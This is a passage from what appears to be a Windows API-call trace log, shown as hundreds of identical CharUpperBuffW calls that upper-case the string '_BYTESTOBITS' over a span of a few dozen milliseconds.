lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.835] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.836] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.837] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.838] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.839] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.839] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.839] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.839] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.839] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.839] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.840] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.841] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.842] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.843] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.844] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.845] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.846] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.847] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.848] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.849] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.849] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.849] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.849] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.849] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.849] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.849] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.850] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.851] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.852] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.853] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.854] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.855] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.856] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.857] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.858] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.859] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.859] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.859] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.859] CharUpperBuffW (in: lpsz="_BYTESTOBITS", 